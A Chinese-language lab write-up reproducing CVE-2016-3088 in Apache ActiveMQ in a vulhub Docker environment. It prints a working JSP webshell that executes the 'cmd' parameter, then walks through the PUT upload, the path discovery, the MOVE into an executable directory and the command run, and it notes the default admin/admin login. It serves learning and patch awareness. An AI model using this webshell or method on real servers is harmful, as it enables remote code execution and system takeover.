漏洞详情
漏洞说明#
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞危害#
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
漏洞编号#
CVE-2016-3088
影响范围#
Apache ActiveMQ 5.x ~ 5.14.0
修复建议#
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除
建议用户升级至 5.14.0 及其以后版本
实验环境
攻击机:windows10
靶机:CentOS Linux 7
项目地址:
https://github.com/vulhub/vulhub
基础环境搭建
查看我以前的博客自行搭建
实验环境搭建
项目地址
`https://github.com/vulhub/vul`hub
下载后上传至任意目录,进入目录
vulhub-master/vulhub-master/activemq/CVE-2016-3088
启动docker编译
docker-compose up -d
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递,浏览器访问http://192.168.91.133:8161/,如下图可以看到成功搭建环境。默认的用户名/密码为admin/admin
复现步骤
1.PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件
1.jsp文件内容:
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
2、浏览器访问http://192.168.10.149:8161/fileserver/1.jsp,下图可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
3、首先要知道绝对路径在哪:
访问http://192.168.91.133:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
4.接下来通过move方法,将木马文件移动到api或者admin:
5.接下来访问木马:http://192.168.91.133:8161/api/1.jsp?cmd=ls
上图可以看到成功解析!